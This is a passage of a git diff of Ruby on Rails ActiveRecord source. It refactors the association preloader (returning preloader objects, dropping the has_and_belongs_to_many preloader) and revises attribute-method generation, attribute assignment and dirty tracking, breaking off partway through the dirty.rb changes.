diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb
deleted file mode 100644
index 5a41b40..0000000
--- a/activerecord/lib/active_record/associations/join_helper.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveRecord
-  module Associations
-    # Helper class module which gets mixed into JoinDependency::JoinAssociation and AssociationScope
-    module JoinHelper #:nodoc:
-
-      def join_type
-        Arel::InnerJoin
-      end
-
-      private
-
-      def construct_tables
-        tables = []
-        chain.each do |reflection|
-          tables << alias_tracker.aliased_table_for(
-            table_name_for(reflection),
-            table_alias_for(reflection, reflection != self.reflection)
-          )
-
-          if reflection.source_macro == :has_and_belongs_to_many
-            tables << alias_tracker.aliased_table_for(
-              (reflection.source_reflection || reflection).join_table,
-              table_alias_for(reflection, true)
-            )
-          end
-        end
-        tables
-      end
-
-      def table_name_for(reflection)
-        reflection.table_name
-      end
-
-      def table_alias_for(reflection, join = false)
-        name = "#{reflection.plural_name}_#{alias_suffix}"
-        name << "_join" if join
-        name
-      end
-
-      def join(table, constraint)
-        table.create_join(table, table.create_on(constraint), join_type)
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index 53742cc..85ce08d 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -42,12 +42,9 @@ module ActiveRecord
         autoload :HasManyThrough,      'active_record/associations/preloader/has_many_through'
         autoload :HasOne,              'active_record/associations/preloader/has_one'
         autoload :HasOneThrough,       'active_record/associations/preloader/has_one_through'
-        autoload :HasAndBelongsToMany, 'active_record/associations/preloader/has_and_belongs_to_many'
         autoload :BelongsTo,           'active_record/associations/preloader/belongs_to'
       end
 
-      attr_reader :records, :associations, :preload_scope, :model
-
       # Eager loads the named associations for the given Active Record record(s).
       #
       # In this description, 'association name' shall refer to the name passed
@@ -82,38 +79,48 @@ module ActiveRecord
       #   [ :books, :author ]
       #   { author: :avatar }
       #   [ :books, { author: :avatar } ]
-      def initialize(records, associations, preload_scope = nil)
-        @records       = Array.wrap(records).compact.uniq
-        @associations  = Array.wrap(associations)
-        @preload_scope = preload_scope || Relation.new(nil, nil)
-      end
 
-      def run
-        unless records.empty?
-          associations.each { |association| preload(association) }
+      NULL_RELATION = Struct.new(:values).new({})
+
+      def preload(records, associations, preload_scope = nil)
+        records       = Array.wrap(records).compact.uniq
+        associations  = Array.wrap(associations)
+        preload_scope = preload_scope || NULL_RELATION
+
+        if records.empty?
+          []
+        else
+          associations.flat_map { |association|
+            preloaders_on association, records, preload_scope
+          }
         end
       end
 
       private
 
-      def preload(association)
+      def preloaders_on(association, records, scope)
         case association
         when Hash
-          preload_hash(association)
+          preloaders_for_hash(association, records, scope)
         when Symbol
-          preload_one(association)
+          preloaders_for_one(association, records, scope)
         when String
-          preload_one(association.to_sym)
+          preloaders_for_one(association.to_sym, records, scope)
         else
           raise ArgumentError, "#{association.inspect} was not recognised for preload"
         end
       end
 
-      def preload_hash(association)
-        association.each do |parent, child|
-          Preloader.new(records, parent, preload_scope).run
-          Preloader.new(records.map { |record| record.send(parent) }.flatten, child).run
-        end
+      def preloaders_for_hash(association, records, scope)
+        association.flat_map { |parent, child|
+          loaders = preloaders_for_one parent, records, scope
+
+          recs = loaders.flat_map(&:preloaded_records).uniq
+          loaders.concat Array.wrap(child).flat_map { |assoc|
+            preloaders_on assoc, recs, scope
+          }
+          loaders
+        }
       end
 
       # Not all records have the same class, so group then preload group on the reflection
@@ -123,53 +130,59 @@ module ActiveRecord
       # Additionally, polymorphic belongs_to associations can have multiple associated
       # classes, depending on the polymorphic_type field. So we group by the classes as
       # well.
-      def preload_one(association)
-        grouped_records(association).each do |reflection, klasses|
-          klasses.each do |klass, records|
-            preloader_for(reflection).new(klass, records, reflection, preload_scope).run
+      def preloaders_for_one(association, records, scope)
+        grouped_records(association, records).flat_map do |reflection, klasses|
+          klasses.map do |rhs_klass, rs|
+            loader = preloader_for(reflection, rs, rhs_klass).new(rhs_klass, rs, reflection, scope)
+            loader.run self
+            loader
           end
         end
       end
 
-      def grouped_records(association)
-        Hash[
-          records_by_reflection(association).map do |reflection, records|
-            [reflection, records.group_by { |record| association_klass(reflection, record) }]
-          end
-        ]
+      def grouped_records(association, records)
+        h = {}
+        records.each do |record|
+          next unless record
+          assoc = record.association(association)
+          klasses = h[assoc.reflection] ||= {}
+          (klasses[assoc.klass] ||= []) << record
+        end
+        h
       end
 
-      def records_by_reflection(association)
-        records.group_by do |record|
-          record_class = record.class
-          reflection = record_class.reflections[association]
+      class AlreadyLoaded
+        attr_reader :owners, :reflection
 
-          unless reflection
-            raise ActiveRecord::ConfigurationError, "Association named '#{association}' was not found on #{record_class.name}; " \
-                                                    "perhaps you misspelled it?"
-          end
+        def initialize(klass, owners, reflection, preload_scope)
+          @owners = owners
+          @reflection = reflection
+        end
 
-          reflection
+        def run(preloader); end
+
+        def preloaded_records
+          owners.flat_map { |owner| owner.association(reflection.name).target }
         end
       end
 
-      def association_klass(reflection, record)
-        if reflection.macro == :belongs_to && reflection.options[:polymorphic]
-          klass = record.send(reflection.foreign_type)
-          klass && klass.constantize
-        else
-          reflection.klass
-        end
+      class NullPreloader
+        def self.new(klass, owners, reflection, preload_scope); self; end
+        def self.run(preloader); end
       end
 
-      def preloader_for(reflection)
+      def preloader_for(reflection, owners, rhs_klass)
+        return NullPreloader unless rhs_klass
+
+        if owners.first.association(reflection.name).loaded?
+          return AlreadyLoaded
+        end
+
         case reflection.macro
         when :has_many
           reflection.options[:through] ? HasManyThrough : HasMany
         when :has_one
           reflection.options[:through] ? HasOneThrough : HasOne
-        when :has_and_belongs_to_many
-          HasAndBelongsToMany
         when :belongs_to
           BelongsTo
         end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
index 8258890..a39dfd0 100644
--- a/activerecord/lib/active_record/associations/preloader/association.rb
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -3,6 +3,7 @@ module ActiveRecord
     class Preloader
       class Association #:nodoc:
         attr_reader :owners, :reflection, :preload_scope, :model, :klass
+        attr_reader :preloaded_records
 
         def initialize(klass, owners, reflection, preload_scope)
           @klass         = klass
@@ -12,15 +13,14 @@ module ActiveRecord
           @model         = owners.first && owners.first.class
           @scope         = nil
           @owners_by_key = nil
+          @preloaded_records = []
         end
 
-        def run
-          unless owners.first.association(reflection.name).loaded?
-            preload
-          end
+        def run(preloader)
+          preload(preloader)
         end
 
-        def preload
+        def preload(preloader)
           raise NotImplementedError
         end
 
@@ -29,6 +29,10 @@ module ActiveRecord
         end
 
         def records_for(ids)
+          query_scope(ids)
+        end
+
+        def query_scope(ids)
           scope.where(association_key.in(ids))
         end
 
@@ -52,13 +56,16 @@ module ActiveRecord
           raise NotImplementedError
         end
 
-        # We're converting to a string here because postgres will return the aliased association
-        # key in a habtm as a string (for whatever reason)
         def owners_by_key
-          @owners_by_key ||= owners.group_by do |owner|
-            key = owner[owner_key_name]
-            key && key.to_s
-          end
+          @owners_by_key ||= if key_conversion_required?
+                               owners.group_by do |owner|
+                                 owner[owner_key_name].to_s
+                               end
+                             else
+                               owners.group_by do |owner|
+                                 owner[owner_key_name]
+                               end
+                             end
         end
 
         def options
@@ -67,38 +74,64 @@ module ActiveRecord
 
         private
 
-        def associated_records_by_owner
+        def associated_records_by_owner(preloader)
           owners_map = owners_by_key
           owner_keys = owners_map.keys.compact
 
-          if klass.nil? || owner_keys.empty?
-            records = []
-          else
+          # Each record may have multiple owners, and vice-versa
+          records_by_owner = owners.each_with_object({}) do |owner,h|
+            h[owner] = []
+          end
+
+          if owner_keys.any?
             # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
             # Make several smaller queries if necessary or make one query if the adapter supports it
             sliced  = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
-            records = sliced.map { |slice| records_for(slice).to_a }.flatten
-          end
-
-          # Each record may have multiple owners, and vice-versa
-          records_by_owner = Hash[owners.map { |owner| [owner, []] }]
-          records.each do |record|
-            owner_key = record[association_key_name].to_s
 
-            owners_map[owner_key].each do |owner|
-              records_by_owner[owner] << record
+            records = load_slices sliced
+            records.each do |record, owner_key|
+              owners_map[owner_key].each do |owner|
+                records_by_owner[owner] << record
+              end
             end
           end
+
           records_by_owner
         end
 
+        def key_conversion_required?
+          association_key_type != owner_key_type
+        end
+
+        def association_key_type
+          column = @klass.column_types[association_key_name.to_s]
+          column && column.type
+        end
+
+        def owner_key_type
+          column = @model.column_types[owner_key_name.to_s]
+          column && column.type
+        end
+
+        def load_slices(slices)
+          @preloaded_records = slices.flat_map { |slice|
+            records_for(slice)
+          }
+
+          @preloaded_records.map { |record|
+            key = record[association_key_name]
+            key = key.to_s if key_conversion_required?
+
+            [record, key]
+          }
+        end
+
         def reflection_scope
           @reflection_scope ||= reflection.scope ? klass.unscoped.instance_exec(nil, &reflection.scope) : klass.unscoped
         end
 
         def build_scope
           scope = klass.unscoped
-          scope.default_scoped = true
 
           values         = reflection_scope.values
           preload_values = preload_scope.values
@@ -106,14 +139,22 @@ module ActiveRecord
           scope.where_values      = Array(values[:where])      + Array(preload_values[:where])
           scope.references_values = Array(values[:references]) + Array(preload_values[:references])
 
-          scope.select!   preload_values[:select] || values[:select] || table[Arel.star]
+          scope._select!   preload_values[:select] || values[:select] || table[Arel.star]
           scope.includes! preload_values[:includes] || values[:includes]
 
+          if preload_values.key? :order
+            scope.order! preload_values[:order]
+          else
+            if values.key? :order
+              scope.order! values[:order]
+            end
+          end
+
           if options[:as]
             scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
           end
 
-          scope
+          klass.default_scoped.merge(scope)
         end
       end
     end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
index e6cd35e..5adffcd 100644
--- a/activerecord/lib/active_record/associations/preloader/collection_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -9,8 +9,8 @@ module ActiveRecord
           super.order(preload_scope.values[:order] || reflection_scope.values[:order])
         end
 
-        def preload
-          associated_records_by_owner.each do |owner, records|
+        def preload(preloader)
+          associated_records_by_owner(preloader).each do |owner, records|
             association = owner.association(reflection.name)
             association.loaded!
             association.target.concat(records)
diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
deleted file mode 100644
index 9a3fada..0000000
--- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class HasAndBelongsToMany < CollectionAssociation #:nodoc:
-        attr_reader :join_table
-
-        def initialize(klass, records, reflection, preload_options)
-          super
-          @join_table = Arel::Table.new(reflection.join_table).alias('t0')
-        end
-
-        # Unlike the other associations, we want to get a raw array of rows so that we can
-        # access the aliased column on the join table
-        def records_for(ids)
-          scope = super
-          klass.connection.select_all(scope.arel, 'SQL', scope.bind_values)
-        end
-
-        def owner_key_name
-          reflection.active_record_primary_key
-        end
-
-        def association_key_name
-          'ar_association_key_name'
-        end
-
-        def association_key
-          join_table[reflection.foreign_key]
-        end
-
-        private
-
-        # Once we have used the join table column (in super), we manually instantiate the
-        # actual records, ensuring that we don't create more than one instances of the same
-        # record
-        def associated_records_by_owner
-          records = {}
-          super.each_value do |rows|
-            rows.map! { |row| records[row[klass.primary_key]] ||= klass.instantiate(row) }
-          end
-        end
-
-        def build_scope
-          super.joins(join).select(join_select)
-        end
-
-        def join_select
-          association_key.as(Arel.sql(association_key_name))
-        end
-
-        def join
-          condition = table[reflection.association_primary_key].eq(
-            join_table[reflection.association_foreign_key])
-
-          table.create_join(join_table, table.create_on(condition))
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
index 157b627..7b37b59 100644
--- a/activerecord/lib/active_record/associations/preloader/has_many_through.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -4,7 +4,7 @@ module ActiveRecord
       class HasManyThrough < CollectionAssociation #:nodoc:
         include ThroughAssociation
 
-        def associated_records_by_owner
+        def associated_records_by_owner(preloader)
           records_by_owner = super
 
           if reflection_scope.distinct_value
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
index 44e804d..f60647a 100644
--- a/activerecord/lib/active_record/associations/preloader/singular_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -5,13 +5,13 @@ module ActiveRecord
 
         private
 
-        def preload
-          associated_records_by_owner.each do |owner, associated_records|
+        def preload(preloader)
+          associated_records_by_owner(preloader).each do |owner, associated_records|
             record = associated_records.first
 
             association = owner.association(reflection.name)
             association.target = record
-            association.set_inverse_instance(record)
+            association.set_inverse_instance(record) if record
           end
         end
 
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
index c4b50ab..2a8530a 100644
--- a/activerecord/lib/active_record/associations/preloader/through_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -2,7 +2,6 @@ module ActiveRecord
   module Associations
     class Preloader
       module ThroughAssociation #:nodoc:
-
         def through_reflection
           reflection.through_reflection
         end
@@ -11,51 +10,84 @@ module ActiveRecord
           reflection.source_reflection
         end
 
-        def associated_records_by_owner
-          through_records = through_records_by_owner
+        def associated_records_by_owner(preloader)
+          preloader.preload(owners,
+                            through_reflection.name,
+                            through_scope)
 
-          Preloader.new(through_records.values.flatten, source_reflection.name, reflection_scope).run
+          through_records = owners.map do |owner|
+            association = owner.association through_reflection.name
 
-          through_records.each do |owner, records|
-            records.map! { |r| r.send(source_reflection.name) }.flatten!
-            records.compact!
+            [owner, Array(association.reader)]
           end
-        end
 
-        private
+          reset_association owners, through_reflection.name
+
+          middle_records = through_records.map { |(_,rec)| rec }.flatten
+
+          preloaders = preloader.preload(middle_records,
+                                         source_reflection.name,
+                                         reflection_scope)
 
-        def through_records_by_owner
-          Preloader.new(owners, through_reflection.name, through_scope).run
+          @preloaded_records = preloaders.flat_map(&:preloaded_records)
+
+          middle_to_pl = preloaders.each_with_object({}) do |pl,h|
+            pl.owners.each { |middle|
+              h[middle] = pl
+            }
+          end
+
+          record_offset = {}
+          @preloaded_records.each_with_index do |record,i|
+            record_offset[record] = i
+          end
 
-          Hash[owners.map do |owner|
-            through_records = Array.wrap(owner.send(through_reflection.name))
+          through_records.each_with_object({}) { |(lhs,center),records_by_owner|
+            pl_to_middle = center.group_by { |record| middle_to_pl[record] }
 
-            # Dont cache the association - we would only be caching a subset
-            if (through_scope != through_reflection.klass.unscoped) ||
-               (reflection.options[:source_type] && through_reflection.collection?)
-              owner.association(through_reflection.name).reset
+            records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles|
+              rhs_records = middles.flat_map { |r|
+                association = r.association source_reflection.name
+
+                association.reader
+              }.compact
+
+              rhs_records.sort_by { |rhs| record_offset[rhs] }
             end
+          }
+        end
+
+        private
+
+        def reset_association(owners, association_name)
+          should_reset = (through_scope != through_reflection.klass.unscoped) ||
+             (reflection.options[:source_type] && through_reflection.collection?)
 
-            [owner, through_records]
-          end]
+          # Dont cache the association - we would only be caching a subset
+          if should_reset
+            owners.each { |owner|
+              owner.association(association_name).reset
+            }
+          end
         end
 
+
         def through_scope
-          through_scope = through_reflection.klass.unscoped
+          scope = through_reflection.klass.unscoped
 
           if options[:source_type]
-            through_scope.where! reflection.foreign_type => options[:source_type]
+            scope.where! reflection.foreign_type => options[:source_type]
           else
             unless reflection_scope.where_values.empty?
-              through_scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
-              through_scope.where_values    = reflection_scope.values[:where]
+              scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
+              scope.where_values    = reflection_scope.values[:where]
             end
 
-            through_scope.references! reflection_scope.values[:references]
-            through_scope.order! reflection_scope.values[:order] if through_scope.eager_loading?
+            scope.references! reflection_scope.values[:references]
+            scope.order! reflection_scope.values[:order] if scope.eager_loading?
           end
 
-          through_scope
+          scope
         end
       end
     end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index 1023855..747bb5f 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -18,11 +18,11 @@ module ActiveRecord
       end
 
       def create(attributes = {}, &block)
-        create_record(attributes, &block)
+        _create_record(attributes, &block)
       end
 
       def create!(attributes = {}, &block)
-        create_record(attributes, true, &block)
+        _create_record(attributes, true, &block)
       end
 
       def build(attributes = {})
@@ -39,10 +39,11 @@ module ActiveRecord
         end
 
         def find_target
-          scope.first.tap { |record| set_inverse_instance(record) }
+          if record = scope.take
+            set_inverse_instance record
+          end
         end
 
-        # Implemented by subclasses
         def replace(record)
           raise NotImplementedError, "Subclasses must implement a replace(record) method"
         end
@@ -51,7 +52,7 @@ module ActiveRecord
           replace(record)
         end
 
-        def create_record(attributes, raise_error = false)
+        def _create_record(attributes, raise_error = false)
           record = build_record(attributes)
           yield(record) if block_given?
           saved = record.save
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index 35f29b3..f8a85b8 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -13,10 +13,12 @@ module ActiveRecord
         #   2. To get the type conditions for any STI models in the chain
         def target_scope
           scope = super
-          chain[1..-1].each do |reflection|
+          chain.drop(1).each do |reflection|
+            relation = reflection.klass.all
+            relation.merge!(reflection.scope) if reflection.scope
+
             scope.merge!(
-              reflection.klass.all.with_default_scope.
-                except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+              relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)
             )
           end
           scope
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
index e536f5e..30fa2c8 100644
--- a/activerecord/lib/active_record/attribute_assignment.rb
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -1,8 +1,8 @@
+require 'active_model/forbidden_attributes_protection'
 
 module ActiveRecord
   module AttributeAssignment
     extend ActiveSupport::Concern
-    include ActiveModel::DeprecatedMassAssignmentSecurity
     include ActiveModel::ForbiddenAttributesProtection
 
     # Allows you to set all the attributes by passing in a hash of attributes with
@@ -12,6 +12,9 @@ module ActiveRecord
     # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
     # exception is raised.
     def assign_attributes(new_attributes)
+      if !new_attributes.respond_to?(:stringify_keys)
+        raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."
+      end
       return if new_attributes.blank?
 
       attributes                  = new_attributes.stringify_keys
@@ -44,7 +47,7 @@ module ActiveRecord
       if respond_to?("#{k}=")
         raise
       else
-        raise UnknownAttributeError, "unknown attribute: #{k}"
+        raise UnknownAttributeError.new(self, k)
       end
     end
 
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index bb49492..44d8940 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,5 +1,6 @@
 require 'active_support/core_ext/enumerable'
 require 'mutex_m'
+require 'thread_safe'
 
 module ActiveRecord
   # = Active Record Attribute Methods
@@ -19,6 +20,37 @@ module ActiveRecord
       include Serialization
     end
 
+    AttrNames = Module.new {
+      def self.set_name_cache(name, value)
+        const_name = "ATTR_#{name}"
+        unless const_defined? const_name
+          const_set const_name, value.dup.freeze
+        end
+      end
+    }
+
+    BLACKLISTED_CLASS_METHODS = %w(private public protected)
+
+    class AttributeMethodCache
+      def initialize
+        @module = Module.new
+        @method_cache = ThreadSafe::Cache.new
+      end
+
+      def [](name)
+        @method_cache.compute_if_absent(name) do
+          safe_name = name.unpack('h*').first
+          temp_method = "__temp__#{safe_name}"
+          ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+          @module.module_eval method_body(temp_method, safe_name), __FILE__, __LINE__
+          @module.instance_method temp_method
+        end
+      end
+
+      private
+      def method_body; raise NotImplementedError; end
+    end
+
     module ClassMethods
       def inherited(child_class) #:nodoc:
         child_class.initialize_generated_modules
@@ -26,18 +58,7 @@ module ActiveRecord
       end
 
       def initialize_generated_modules # :nodoc:
-        @generated_attribute_methods = Module.new {
-          extend Mutex_m
-
-          const_set :AttrNames, Module.new {
-            def self.set_name_cache(name, value)
-              const_name = "ATTR_#{name}"
-              unless const_defined? const_name
-                const_set const_name, value.dup.freeze
-              end
-            end
-          }
-        }
+        @generated_attribute_methods = Module.new { extend Mutex_m }
         @attribute_methods_generated = false
         include @generated_attribute_methods
       end
@@ -45,23 +66,23 @@ module ActiveRecord
       # Generates all the attribute related methods for columns in the database
       # accessors, mutators and query methods.
       def define_attribute_methods # :nodoc:
+        return false if @attribute_methods_generated
         # Use a mutex; we don't want two thread simultaneously trying to define
         # attribute methods.
         generated_attribute_methods.synchronize do
-          return if attribute_methods_generated?
+          return false if @attribute_methods_generated
           superclass.define_attribute_methods unless self == base_class
           super(column_names)
           @attribute_methods_generated = true
         end
-      end
-
-      def attribute_methods_generated? # :nodoc:
-        @attribute_methods_generated
+        true
       end
 
       def undefine_attribute_methods # :nodoc:
-        super if attribute_methods_generated?
-        @attribute_methods_generated = false
+        generated_attribute_methods.synchronize do
+          super if @attribute_methods_generated
+          @attribute_methods_generated = false
+        end
       end
 
       # Raises a <tt>ActiveRecord::DangerousAttributeError</tt> exception when an
@@ -88,20 +109,21 @@ module ActiveRecord
         else
           # If B < A and A defines its own attribute method, then we don't want to overwrite that.
           defined = method_defined_within?(method_name, superclass, superclass.generated_attribute_methods)
-          defined && !ActiveRecord::Base.method_defined?(method_name) || super
+          base_defined = Base.method_defined?(method_name) || Base.private_method_defined?(method_name)
+          defined && !base_defined || super
         end
       end
 
-      # A method name is 'dangerous' if it is already defined by Active Record, but
+      # A method name is 'dangerous' if it is already (re)defined by Active Record, but
       # not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
       def dangerous_attribute_method?(name) # :nodoc:
         method_defined_within?(name, Base)
       end
 
-      def method_defined_within?(name, klass, sup = klass.superclass) # :nodoc:
+      def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
         if klass.method_defined?(name) || klass.private_method_defined?(name)
-          if sup.method_defined?(name) || sup.private_method_defined?(name)
-            klass.instance_method(name).owner != sup.instance_method(name).owner
+          if superklass.method_defined?(name) || superklass.private_method_defined?(name)
+            klass.instance_method(name).owner != superklass.instance_method(name).owner
           else
             true
           end
@@ -110,6 +132,34 @@ module ActiveRecord
         end
       end
 
+      # A class method is 'dangerous' if it is already (re)defined by Active Record, but
+      # not by any ancestors. (So 'puts' is not dangerous but 'new' is.)
+      def dangerous_class_method?(method_name)
+        BLACKLISTED_CLASS_METHODS.include?(method_name.to_s) || class_method_defined_within?(method_name, Base)
+      end
+
+      def class_method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc
+        if klass.respond_to?(name, true)
+          if superklass.respond_to?(name, true)
+            klass.method(name).owner != superklass.method(name).owner
+          else
+            true
+          end
+        else
+          false
+        end
+      end
+
+      def find_generated_attribute_method(method_name) # :nodoc:
+        klass = self
+        until klass == Base
+          gen_methods = klass.generated_attribute_methods
+          return gen_methods.instance_method(method_name) if method_defined_within?(method_name, gen_methods, Object)
+          klass = klass.superclass
+        end
+        nil
+      end
+
       # Returns +true+ if +attribute+ is an attribute method and table exists,
       # +false+ otherwise.
       #
@@ -143,33 +193,22 @@ module ActiveRecord
     # If we haven't generated any methods yet, generate them, then
     # see if we've created the method we're looking for.
     def method_missing(method, *args, &block) # :nodoc:
-      unless self.class.attribute_methods_generated?
-        self.class.define_attribute_methods
-
-        if respond_to_without_attributes?(method)
-          send(method, *args, &block)
+      self.class.define_attribute_methods
+      if respond_to_without_attributes?(method)
+        # make sure to invoke the correct attribute method, as we might have gotten here via a `super`
+        # call in a overwritten attribute method
+        if attribute_method = self.class.find_generated_attribute_method(method)
+          # this is probably horribly slow, but should only happen at most once for a given AR class
+          attribute_method.bind(self).call(*args, &block)
         else
-          super
+          return super unless respond_to_missing?(method, true)
+          send(method, *args, &block)
         end
       else
         super
       end
     end
 
-    def attribute_missing(match, *args, &block) # :nodoc:
-      if self.class.columns_hash[match.attr_name]
-        ActiveSupport::Deprecation.warn(
-          "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \
-          "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \
-          "is a column of the table. If this error has happened through normal usage of Active " \
-          "Record (rather than through your own code or external libraries), please report it as " \
-          "a bug."
-        )
-      end
-
-      super
-    end
-
     # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
     # <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
     # which will all return +true+. It also define the attribute methods if they have
@@ -188,7 +227,7 @@ module ActiveRecord
     #   person.respond_to(:nothing) # => false
     def respond_to?(name, include_private = false)
       name = name.to_s
-      self.class.define_attribute_methods unless self.class.attribute_methods_generated?
+      self.class.define_attribute_methods
       result = super
 
       # If the result is false the answer is false.
@@ -198,7 +237,7 @@ module ActiveRecord
       # For queries selecting a subset of columns, return false for unselected columns.
       # We check defined?(@attributes) not to issue warnings if called on objects that
       # have been allocated but not yet initialized.
-      if defined?(@attributes) && @attributes.present? && self.class.column_names.include?(name)
+      if defined?(@attributes) && @attributes.any? && self.class.column_names.include?(name)
         return has_attribute?(name)
       end
 
@@ -244,26 +283,38 @@ module ActiveRecord
       }
     end
 
+    # Placeholder so it can be overriden when needed by serialization
+    def attributes_for_coder # :nodoc:
+      attributes
+    end
+
     # Returns an <tt>#inspect</tt>-like string for the value of the
     # attribute +attr_name+. String attributes are truncated upto 50
-    # characters, and Date and Time attributes are returned in the
-    # <tt>:db</tt> format. Other attributes return the value of
-    # <tt>#inspect</tt> without modification.
+    # characters, Date and Time attributes are returned in the
+    # <tt>:db</tt> format, Array attributes are truncated upto 10 values.
+    # Other attributes return the value of <tt>#inspect</tt> without
+    # modification.
     #
     #   person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
     #
     #   person.attribute_for_inspect(:name)
-    #   # => "\"David Heinemeier Hansson David Heinemeier Hansson D...\""
+    #   # => "\"David Heinemeier Hansson David Heinemeier Hansson ...\""
     #
     #   person.attribute_for_inspect(:created_at)
     #   # => "\"2012-10-22 00:15:07\""
+    #
+    #   person.attribute_for_inspect(:tag_ids)
+    #   # => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]"
     def attribute_for_inspect(attr_name)
       value = read_attribute(attr_name)
 
       if value.is_a?(String) && value.length > 50
-        "#{value[0..50]}...".inspect
+        "#{value[0, 50]}...".inspect
       elsif value.is_a?(Date) || value.is_a?(Time)
         %("#{value.to_s(:db)}")
+      elsif value.is_a?(Array) && value.size > 10
+        inspected = value.first(10).inspect
+        %(#{inspected[0...-1]}, ...])
       else
         value.inspect
       end
@@ -307,7 +358,7 @@ module ActiveRecord
     end
 
     # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
-    # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+    # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
     # <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
     #
     # Alias for the <tt>read_attribute</tt> method.
diff --git a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
index a23baea..f596a8b 100644
--- a/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
+++ b/activerecord/lib/active_record/attribute_methods/before_type_cast.rb
@@ -41,8 +41,9 @@ module ActiveRecord
       #   task.read_attribute_before_type_cast('id')           # => '1'
       #   task.read_attribute('completed_on')                  # => Sun, 21 Oct 2012
       #   task.read_attribute_before_type_cast('completed_on') # => "2012-10-21"
+      #   task.read_attribute_before_type_cast(:completed_on)  # => "2012-10-21"
       def read_attribute_before_type_cast(attr_name)
-        @attributes[attr_name]
+        @attributes[attr_name.to_s]
       end
 
       # Returns a hash of attributes before typecasting and deserialization.
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index 6315dd9..99070f1 100644
--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -14,24 +14,12 @@ module ActiveRecord
 
         class_attribute :partial_writes, instance_writer: false
         self.partial_writes = true
-
-        def self.partial_updates=(v); self.partial_writes = v; end
-        def self.partial_updates?; partial_writes?; end
-        def self.partial_updates; partial_writes; end
-
-        ActiveSupport::Deprecation.deprecate_methods(
-          singleton_class,
-          :partial_updates= => :partial_writes=,
-          :partial_updates? => :partial_writes?,
-          :partial_updates  => :partial_writes
-        )
       end
 
       # Attempts to +save+ the record and clears changed attributes if successful.
       def save(*)
         if status = super
-          @previously_changed = changes
-          @changed_attributes.clear
+          changes_applied
         end
         status
       end
@@ -39,49 +27,70 @@ module ActiveRecord
       # Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
       def save!(*)
         super.tap do
-          @previously_changed = changes
-          @changed_attributes.clear
+          changes_applied
         end
       end
 
       # <tt>reload</tt> the record and clears changed attributes.
       def reload(*)
         super.tap do
-          @previously_changed.clear
-          @changed_attributes.clear
